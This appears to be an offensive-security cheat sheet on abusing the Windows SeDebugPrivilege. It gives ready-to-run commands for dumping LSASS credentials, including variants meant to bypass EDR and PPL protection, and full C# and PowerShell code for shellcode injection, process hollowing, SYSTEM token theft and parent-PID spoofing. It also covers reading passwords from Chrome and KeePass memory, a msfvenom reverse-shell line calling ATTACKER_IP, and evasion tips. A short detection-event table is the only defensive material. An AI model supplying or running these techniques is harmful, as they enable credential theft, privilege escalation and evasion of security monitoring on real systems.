Skip to main content

Overview

SeDebugPrivilege allows a process to open any other process on the system with PROCESS_ALL_ACCESS, regardless of the security descriptor on that process. This means full read/write/execute access to SYSTEM-level processes like lsass.exe, winlogon.exe, and services.exe. Who has it by default:
AccountHas SeDebugPrivilege
AdministratorsYes (disabled by default, enabled on elevation)
SYSTEMYes
Standard usersNo
Service accountsNo (unless explicitly granted)
In practice, any elevated Administrator shell has this privilege available. It is the single most powerful user-mode privilege on Windows.

Check if Enabled

whoami /priv | findstr SeDebugPrivilege
(whoami /priv /fo csv | ConvertFrom-Csv) | Where-Object { $_.'Privilege Name' -eq 'SeDebugPrivilege' }
If the state shows Disabled, enable it from an elevated context:
# PowerShell — enable SeDebugPrivilege in current process
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeDebugPrivilege
# Meterpreter — already enabled automatically
meterpreter > getprivs
Even when whoami /priv shows SeDebugPrivilege as Disabled, any elevated Administrator process can enable it programmatically. Disabled does not mean removed — it means not yet activated in the current token.

How It Works Technically

Windows process security is enforced by the kernel through security descriptors on process objects. When a thread calls OpenProcess(), the kernel checks:
  1. The requested access mask (e.g., PROCESS_ALL_ACCESS)
  2. The DACL on the target process
  3. The caller’s token privileges
Normally, even Administrators cannot open SYSTEM processes because the DACL denies them. SeDebugPrivilege bypasses step 2 entirely — the kernel skips the DACL check and grants whatever access was requested. This means with SeDebugPrivilege enabled, you can:
  • Read memory of any process (ReadProcessMemory)
  • Write memory into any process (WriteProcessMemory)
  • Create threads in any process (CreateRemoteThread, NtCreateThreadEx)
  • Duplicate handles from any process (DuplicateHandle)
  • Duplicate tokens from any process (OpenProcessToken + DuplicateTokenEx)
  • Terminate any process
The kernel enforces this in SeAccessCheck — when SeDebugPrivilege is present and enabled in the token, the access check against the process DACL is skipped entirely, and PROCESS_ALL_ACCESS is granted.

Dump LSASS — ProcDump

Microsoft-signed Sysinternals tool. Often whitelisted by AV.
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
By PID:
tasklist | findstr lsass
procdump.exe -accepteula -ma <PID> C:\Windows\Temp\lsass.dmp
Modern EDR flags procdump targeting lsass.exe by name. Use the PID instead, or rename the binary.

Dump LSASS — comsvcs.dll (LOLBin)

No tools needed. Uses a built-in Windows DLL.

Find LSASS PID

tasklist | findstr lsass
(Get-Process lsass).Id

Dump

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full
One-liner with PowerShell PID resolution:
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

Evade Command-Line Logging

Copy comsvcs.dll to avoid detection rules matching the original path:
copy C:\Windows\System32\comsvcs.dll C:\Windows\Temp\cs.dll
rundll32.exe C:\Windows\Temp\cs.dll, MiniDump <PID> C:\Windows\Temp\out.dmp full

Dump LSASS — EDR Bypass Tools

When LSASS is protected by PPL (Protected Process Light) or when EDR hooks MiniDumpWriteDump, use these.

nanodump

Uses direct syscalls to avoid API hooking. Creates a valid minidump without calling MiniDumpWriteDump.
https://github.com/helpsystems/nanodump
nanodump.exe -w C:\Windows\Temp\lsass.dmp
Signature-based evasion — write an invalid signature (fix later):
nanodump.exe -w C:\Windows\Temp\lsass.dmp --invalid
Fix the signature offline:
python3 nanodump_restore.py lsass.dmp

HandleKatz

Clones an existing handle to LSASS instead of opening a new one. Avoids OpenProcess detection.
https://github.com/codewhitesec/HandleKatz
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp

PPLdump

Bypasses Protected Process Light by exploiting a known DLL loading behavior in PPL processes.
https://github.com/itm4n/PPLdump
PPLdump.exe lsass.exe C:\Windows\Temp\lsass.dmp

PPLKiller / PPLFault

Disables PPL protection entirely by exploiting Windows Error Reporting or kernel driver:
https://github.com/gabriellandau/PPLFault
PPLFault.exe -pid <LSASS_PID> -dump C:\Windows\Temp\lsass.dmp

Dump LSASS — Task Manager (GUI)

If you have RDP or GUI access:
  1. Open Task Manager as Administrator
  2. Go to the Details tab
  3. Right-click lsass.exeCreate dump file
  4. Dump saved to C:\Users\%USERNAME%\AppData\Local\Temp\lsass.DMP
Transfer the dump to your attacker machine for offline parsing.

Parse Dumps Offline

pypykatz (Linux/macOS/Windows)

pip3 install pypykatz
pypykatz lsa minidump lsass.dmp
Extract only NTLM hashes:
pypykatz lsa minidump lsass.dmp -k /tmp/kerberos_tickets
Parse and grep for hashes:
pypykatz lsa minidump lsass.dmp 2>/dev/null | grep -A2 "NT:"

Mimikatz (Windows / Offline)

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Extract specific credential types:
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::kerberos
mimikatz # sekurlsa::tspkg

What You Get from LSASS

Credential TypeWhen Available
NTLM hashesAlways (all logged-in users)
Plaintext passwordsWDigest enabled (Win 2012 R2 and older, or if forced on)
Kerberos ticketsActive TGT/TGS in memory
DPAPI master keysPer-user encryption keys

Migrate into SYSTEM Process (Meterpreter)

The fastest path to SYSTEM with SeDebugPrivilege.

List SYSTEM Processes

meterpreter > ps
Look for processes running as NT AUTHORITY\SYSTEM:
ProcessPID (varies)Notes
winlogon.exeStable, always running
lsass.exeRisky — can crash
services.exeStable
svchost.exeMany instances

Migrate

meterpreter > migrate <winlogon_PID>
After migration:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Never migrate into lsass.exe — if your payload crashes, the entire system goes down. Use winlogon.exe or services.exe instead.

Inject Shellcode — CreateRemoteThread

Classic process injection. Open a SYSTEM process, allocate memory, write shellcode, execute via remote thread.

PowerShell PoC

# Target: winlogon.exe (runs as SYSTEM)
$proc = Get-Process winlogon | Select-Object -First 1
$procId = $proc.Id

# Win32 API definitions
$code = @"
using System;
using System.Runtime.InteropServices;
public class Inject {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProc, IntPtr attr, uint stackSize, IntPtr startAddr, IntPtr param, uint flags, out uint threadId);
}
"@

Add-Type $code

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f csharp
[byte[]]$shellcode = 0xfc,0x48,0x83,...  # YOUR SHELLCODE HERE

$PROCESS_ALL_ACCESS = 0x001F0FFF
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_EXECUTE_READWRITE = 0x40

$hProc = [Inject]::OpenProcess($PROCESS_ALL_ACCESS, $false, $procId)
$addr = [Inject]::VirtualAllocEx($hProc, [IntPtr]::Zero, [uint32]$shellcode.Length, ($MEM_COMMIT -bor $MEM_RESERVE), $PAGE_EXECUTE_READWRITE)
$written = [uint32]0
[Inject]::WriteProcessMemory($hProc, $addr, $shellcode, [uint32]$shellcode.Length, [ref]$written)
$threadId = [uint32]0
[Inject]::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$threadId)
Generate the shellcode on your attacker machine:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f csharp

Inject Shellcode — NtCreateThreadEx (Stealth)

CreateRemoteThread is heavily monitored by EDR. NtCreateThreadEx is the underlying syscall and bypasses user-mode hooks.

C# Implementation

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class StealthInject
{
    [DllImport("ntdll.dll")]
    static extern uint NtCreateThreadEx(
        out IntPtr hThread,
        uint access,
        IntPtr objAttr,
        IntPtr hProcess,
        IntPtr startAddr,
        IntPtr param,
        bool suspended,
        uint stackZeroBits,
        uint sizeOfStackCommit,
        uint sizeOfStackReserve,
        IntPtr bytesBuffer
    );

    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    static void Main()
    {
        int pid = Process.GetProcessesByName("winlogon")[0].Id;

        IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, 4096, 0x3000, 0x40);

        // Replace with your shellcode
        byte[] sc = new byte[] { 0xfc, 0x48, 0x83 /* ... */ };
        uint written;
        WriteProcessMemory(hProc, addr, sc, (uint)sc.Length, out written);

        IntPtr hThread;
        NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, hProc, addr, IntPtr.Zero,
            false, 0, 0, 0, IntPtr.Zero);
    }
}
Compile on attacker machine:
csc.exe /unsafe /out:inject.exe inject.cs
For maximum stealth, combine NtCreateThreadEx with direct syscalls (SysWhispers) to avoid ntdll hooking entirely. The above still imports from ntdll.dll which EDR can hook.

Process Hollowing into SYSTEM Process

Create a SYSTEM process in a suspended state, hollow out its memory, replace with your payload, and resume.

Flow

CreateProcess (suspended) → NtUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread

C# Implementation

using System;
using System.Runtime.InteropServices;

class Hollow
{
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string app, string cmd, IntPtr procAttr, IntPtr threadAttr,
        bool inherit, uint flags, IntPtr env, string dir, byte[] si, byte[] pi);

    [DllImport("ntdll.dll")]
    static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);

    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    [DllImport("kernel32.dll")]
    static extern uint ResumeThread(IntPtr hThread);

    // CREATE_SUSPENDED = 0x4
    // Steps:
    // 1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED)
    // 2. NtUnmapViewOfSection to hollow the original code
    // 3. VirtualAllocEx at the image base
    // 4. WriteProcessMemory with your PE payload
    // 5. SetThreadContext to point EIP/RIP to your entry point
    // 6. ResumeThread
}

Using Donut + Process Hollowing

Generate shellcode from any .NET assembly:
# Generate shellcode from a .NET exe
donut -i payload.exe -o payload.bin

# Or from a specific class/method
donut -i payload.dll -c Namespace.Class -m Method -o payload.bin
Then inject the Donut shellcode using CreateRemoteThread or NtCreateThreadEx as shown above.

Duplicate SYSTEM Token

Instead of injecting into a SYSTEM process, steal its token and impersonate it.

PowerShell

# Find a SYSTEM process
$systemProc = Get-Process -Name winlogon | Select-Object -First 1

# Use Win32 API to duplicate token
$code = @"
using System;
using System.Runtime.InteropServices;
public class TokenSteal {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr hProc, uint access, out IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool DuplicateTokenEx(IntPtr hToken, uint access, IntPtr attr,
        int impLevel, int tokenType, out IntPtr newToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool CreateProcessWithTokenW(IntPtr hToken, uint logonFlags,
        string appName, string cmdLine, uint creationFlags, IntPtr env,
        string curDir, byte[] si, byte[] pi);
}
"@

Add-Type $code

$PROCESS_QUERY_INFORMATION = 0x0400
$TOKEN_ALL_ACCESS = 0xF01FF
$SecurityImpersonation = 2
$TokenPrimary = 1

$hProc = [TokenSteal]::OpenProcess($PROCESS_QUERY_INFORMATION, $false, $systemProc.Id)

$hToken = [IntPtr]::Zero
[TokenSteal]::OpenProcessToken($hProc, $TOKEN_ALL_ACCESS, [ref]$hToken)

$newToken = [IntPtr]::Zero
[TokenSteal]::DuplicateTokenEx($hToken, $TOKEN_ALL_ACCESS, [IntPtr]::Zero, $SecurityImpersonation, $TokenPrimary, [ref]$newToken)

# Launch cmd.exe as SYSTEM
$si = New-Object byte[] 104  # STARTUPINFO struct (x64)
$pi = New-Object byte[] 24   # PROCESS_INFORMATION struct
[BitConverter]::GetBytes([int]104).CopyTo($si, 0)  # cb field

[TokenSteal]::CreateProcessWithTokenW($newToken, 0, "C:\Windows\System32\cmd.exe", $null, 0, [IntPtr]::Zero, $null, $si, $pi)

Meterpreter — Incognito

meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

Metasploit — steal_token

meterpreter > ps
meterpreter > steal_token <SYSTEM_PID>

Parent PID Spoofing

Create a new process whose parent is a SYSTEM process (winlogon.exe, lsass.exe). The child inherits the parent’s token.

PowerShell — psgetsystem

https://github.com/decoder-it/psgetsystem
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent((Get-Process winlogon).Id, "cmd.exe")

Manual — PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

$code = @"
using System;
using System.Runtime.InteropServices;
public class PPIDSpoof {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern bool InitializeProcThreadAttributeList(IntPtr attrList, int count, int flags, ref IntPtr size);

    [DllImport("kernel32.dll")]
    public static extern bool UpdateProcThreadAttribute(IntPtr attrList, uint flags, IntPtr attr,
        IntPtr value, IntPtr size, IntPtr prevValue, IntPtr retSize);

    [DllImport("kernel32.dll")]
    public static extern bool CreateProcessA(string app, string cmd, IntPtr procAttr, IntPtr threadAttr,
        bool inherit, uint flags, IntPtr env, string dir, byte[] si, byte[] pi);

    // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
    // EXTENDED_STARTUPINFO_PRESENT = 0x00080000
}
"@

Add-Type $code

# Open winlogon as parent
$parentPid = (Get-Process winlogon | Select-Object -First 1).Id
$hParent = [PPIDSpoof]::OpenProcess(0x001F0FFF, $false, $parentPid)

# Initialize attribute list with parent handle
# Then CreateProcess with EXTENDED_STARTUPINFO_PRESENT flag
# The child process (cmd.exe) will run as SYSTEM

C# — Full Implementation

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class PPIDSpoof
{
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    static extern bool InitializeProcThreadAttributeList(IntPtr attrList, int count, int flags, ref IntPtr size);

    [DllImport("kernel32.dll")]
    static extern bool UpdateProcThreadAttribute(IntPtr attrList, uint flags, IntPtr attr,
        ref IntPtr value, IntPtr size, IntPtr prevValue, IntPtr retSize);

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
    static extern bool CreateProcess(string app, string cmd, IntPtr procSec, IntPtr threadSec,
        bool inherit, uint flags, IntPtr env, string dir,
        ref STARTUPINFOEX si, out PROCESS_INFORMATION pi);

    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public IntPtr lpReserved, lpDesktop, lpTitle;
        public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
        public short wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public int dwProcessId, dwThreadId;
    }

    static void Main()
    {
        int parentPid = Process.GetProcessesByName("winlogon")[0].Id;
        IntPtr hParent = OpenProcess(0x001F0FFF, false, parentPid);

        IntPtr size = IntPtr.Zero;
        InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
        IntPtr attrList = Marshal.AllocHGlobal(size);
        InitializeProcThreadAttributeList(attrList, 1, 0, ref size);

        IntPtr parentHandle = hParent;
        UpdateProcThreadAttribute(attrList, 0, (IntPtr)0x00020000, ref parentHandle,
            (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

        var si = new STARTUPINFOEX();
        si.StartupInfo.cb = Marshal.SizeOf(si);
        si.lpAttributeList = attrList;

        PROCESS_INFORMATION pi;
        // EXTENDED_STARTUPINFO_PRESENT = 0x00080000
        CreateProcess(null, "cmd.exe", IntPtr.Zero, IntPtr.Zero, false,
            0x00080000, IntPtr.Zero, null, ref si, out pi);

        Console.WriteLine($"[+] Spawned cmd.exe as PID {pi.dwProcessId} with parent {parentPid}");
    }
}
Common SYSTEM parent targets:
ProcessPID StabilityNotes
winlogon.exeStableBest target — always SYSTEM, always running
lsass.exeStableWorks but risky if your process crashes
services.exeStableGood alternative
csrss.exeStableProtected on newer Windows

Read Memory of Any Process

SeDebugPrivilege lets you read the memory of any running process. Useful for extracting credentials from applications that store them in memory.

Browser Credentials (Chrome)

Chrome stores decryption keys and cookies in memory:
$chrome = Get-Process chrome | Select-Object -First 1

$code = @"
using System;
using System.Runtime.InteropServices;
public class MemRead {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buffer, uint size, out uint read);
}
"@

Add-Type $code

$PROCESS_VM_READ = 0x0010
$PROCESS_QUERY_INFORMATION = 0x0400
$hProc = [MemRead]::OpenProcess(($PROCESS_VM_READ -bor $PROCESS_QUERY_INFORMATION), $false, $chrome.Id)

# Read memory region
$buffer = New-Object byte[] 4096
$read = [uint32]0
[MemRead]::ReadProcessMemory($hProc, [IntPtr]0x00000000, $buffer, 4096, [ref]$read)

KeePass — CVE-2023-32784

Extract the master password from KeePass process memory:
https://github.com/vdohney/keepass-password-dumper
dotnet run -- C:\Windows\Temp\keepass.dmp
Or dump the KeePass process directly:
procdump.exe -accepteula -ma KeePass.exe C:\Windows\Temp\keepass.dmp

Windows Credential Manager / DPAPI

Dump credential blobs from memory:
# Mimikatz — extract DPAPI credentials
mimikatz # sekurlsa::dpapi
# Read credential files
Get-ChildItem C:\Users\*\AppData\Local\Microsoft\Credentials\*
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Credentials\*

Quick Reference

TechniqueTools NeededDetection RiskSYSTEM Access
LSASS dump (procdump)procdump.exeMedium — signed but flagged by nameNo (credential theft)
LSASS dump (comsvcs.dll)None (built-in)Medium — LOLBin, command-line loggedNo (credential theft)
LSASS dump (nanodump)nanodump.exeLow — direct syscallsNo (credential theft)
LSASS dump (HandleKatz)HandleKatz.exeLow — handle duplicationNo (credential theft)
LSASS dump (PPLdump)PPLdump.exeMedium — bypasses PPLNo (credential theft)
LSASS dump (Task Manager)None (GUI)High — very visibleNo (credential theft)
Meterpreter migrateMeterpreterMedium — well-knownYes
CreateRemoteThread injectionCustom codeHigh — heavily hooked by EDRYes
NtCreateThreadEx injectionCustom codeLow — bypasses user-mode hooksYes
Process hollowingCustom codeLow-Medium — no new threadsYes
Token duplicationCustom code or IncognitoMediumYes
PPID spoofingpsgetsystem or customLow — legitimate API usageYes
Memory reading (browsers)Custom codeLow — passive readNo (credential theft)
Memory reading (KeePass)keepass-password-dumperLow — offline on dumpNo (credential theft)

Detection and Logging

What defenders see when you use SeDebugPrivilege:
Event IDLogWhat It Catches
4672SecuritySpecial privileges assigned to new logon (SeDebugPrivilege)
4688SecurityProcess creation (shows parent PID, command line)
10SysmonProcess access (TargetImage: lsass.exe, GrantedAccess: 0x1FFFFF)
8SysmonCreateRemoteThread detected
1SysmonProcess creation with parent PID anomalies
25SysmonProcess tampering (process hollowing)

Evasion Notes

  • Avoid PROCESS_ALL_ACCESS (0x1FFFFF) — request minimum required access instead
  • PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (0x0410) for memory reading only
  • PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION (0x002A) for injection
  • Use direct syscalls (SysWhispers2/3) to bypass ntdll hooks
  • Unhook ntdll in your process before calling APIs
  • Use NtCreateThreadEx instead of CreateRemoteThread
  • For PPID spoofing, target svchost.exe instead of winlogon.exe — less anomalous parent-child relationship